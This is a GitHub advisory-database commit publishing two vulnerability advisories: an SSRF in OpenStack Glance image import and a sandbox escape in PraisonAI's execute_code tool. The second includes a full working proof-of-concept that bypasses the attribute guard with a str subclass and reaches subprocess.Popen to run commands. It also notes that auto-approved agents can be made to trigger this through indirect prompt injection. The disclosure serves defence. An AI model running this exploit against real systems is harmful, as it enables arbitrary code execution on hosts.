Skip to content

Commit 003cabf

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-mc26-q38v-83gv GHSA-6vh2-h83c-9294 GHSA-mc26-q38v-83gv
1 parent bfb1339 commit 003cabf

3 files changed

Lines changed: 166 additions & 40 deletions

File tree

‎advisories/github-reviewed/2026/03/GHSA-mc26-q38v-83gv/GHSA-mc26-q38v-83gv.json‎

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mc26-q38v-83gv",
4+
"modified": "2026-04-01T23:16:39Z",
5+
"published": "2026-03-31T06:31:44Z",
6+
"aliases": [
7+
"CVE-2026-34881"
8+
],
9+
"summary": "OpenStack Glance is affected by Server-Side Request Forgery (SSRF)",
10+
"details": "OpenStack Glance versions < 29.1.1, >= 30.0.0 < 30.1.1, == 31.0.0 are affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to internal services. Only the glance image import functionality is affected. In particular, the web-download and glance-download import methods are subject to this vulnerability, as is the optional (not enabled by default) ovf_process image import plugin.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "glance"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "29.2.0"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "PyPI",
40+
"name": "glance"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "30.0.0"
48+
},
49+
{
50+
"fixed": "30.2.0"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "PyPI",
59+
"name": "glance"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "31.0.0"
67+
},
68+
{
69+
"fixed": "31.1.0"
70+
}
71+
]
72+
}
73+
],
74+
"versions": [
75+
"31.0.0"
76+
]
77+
}
78+
],
79+
"references": [
80+
{
81+
"type": "ADVISORY",
82+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34881"
83+
},
84+
{
85+
"type": "WEB",
86+
"url": "https://bugs.launchpad.net/glance/+bug/2138602"
87+
},
88+
{
89+
"type": "PACKAGE",
90+
"url": "https://github.com/openstack/glance"
91+
},
92+
{
93+
"type": "WEB",
94+
"url": "https://security.openstack.org/ossa/OSSA-2026-004.html"
95+
}
96+
],
97+
"database_specific": {
98+
"cwe_ids": [
99+
"CWE-918"
100+
],
101+
"severity": "MODERATE",
102+
"github_reviewed": true,
103+
"github_reviewed_at": "2026-04-01T23:16:39Z",
104+
"nvd_published_at": "2026-03-31T06:16:01Z"
105+
}
106+
}

‎advisories/github-reviewed/2026/04/GHSA-6vh2-h83c-9294/GHSA-6vh2-h83c-9294.json‎

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6vh2-h83c-9294",
4+
"modified": "2026-04-01T23:17:48Z",
5+
"published": "2026-04-01T23:17:48Z",
6+
"aliases": [
7+
"CVE-2026-34938"
8+
],
9+
"summary": "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code",
10+
"details": "### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses\n raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen(['id'], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\nmro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))\nsubs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))\nmod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))\nname_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n try:\n m = getattr(cls, mod_attr, '')\n n = getattr(cls, name_attr, '')\n if m == 'subprocess' and n == 'Popen':\n r = cls(['id'], stdout=PIPE, stderr=PIPE)\n out, err = r.communicate()\n print('RCE:', out.decode())\n break\n except Exception as e:\n print('ERR:', e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "praisonaiagents"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.5.90"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.5.89"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/MervinPraison/PraisonAI"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-693"
54+
],
55+
"severity": "CRITICAL",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:17:48Z",
58+
"nvd_published_at": null
59+
}
60+
}

‎advisories/unreviewed/2026/03/GHSA-mc26-q38v-83gv/GHSA-mc26-q38v-83gv.json‎

Lines changed: 0 additions & 40 deletions
This file was deleted.

0 commit comments

Comments
 (0)